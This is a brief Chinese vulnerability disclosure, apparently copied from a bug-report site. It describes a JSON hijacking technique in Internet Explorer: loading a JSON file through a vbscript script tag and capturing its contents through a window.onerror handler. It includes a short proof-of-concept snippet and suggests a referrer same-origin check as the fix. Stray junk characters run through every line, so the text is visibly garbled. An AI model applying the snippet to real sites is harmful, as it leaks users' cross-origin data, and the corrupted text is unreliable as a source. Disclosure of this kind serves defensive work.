简要描述:
7 I1 W7 @9 C0 G' M/ @/ `- ~2 ~0 G) V2 `* R" C5 F+ \( Q0 H S
由于某些资源容器对数据处理不当导致json劫持漏洞." q$ ~. Y$ z* y% j( B. G U
详细说明: M# A- j O& E5 L
由于ie支持vbscript,所以script元素可以指定成vbscript语言:( ]5 ]% Q- `9 o( }
<script language=vbscript></script>7 q3 ~$ o4 [0 m, Z
2 H$ `+ G1 \# N$ [" e当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
! V! x$ `- M7 m漏洞证明:
0 ^: A/ b, l( ?<script>5 L* F7 M+ z) ?. e- t
window.onerror=function(_){
; S# O' H3 E( Y" C$ [alert(_)
( P" u. J2 V5 J+ t; y}! H' p$ w* P6 O( F2 w
</script>
2 K. g! P! L% h6 |# w<script language=vbscript src=1.json></script>
9 @& ~0 \/ b, s' x) B 7 H s% c+ f) c- N
' ]! Q" @& V- }, p- X
1.json:2 T' \( H1 W- q& i; B2 J
[{"name":"sogili","age":19}]7 }, s5 `5 k$ G
修复方案:/ J: b f; u8 Y9 I8 u( f$ r# n. Q
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |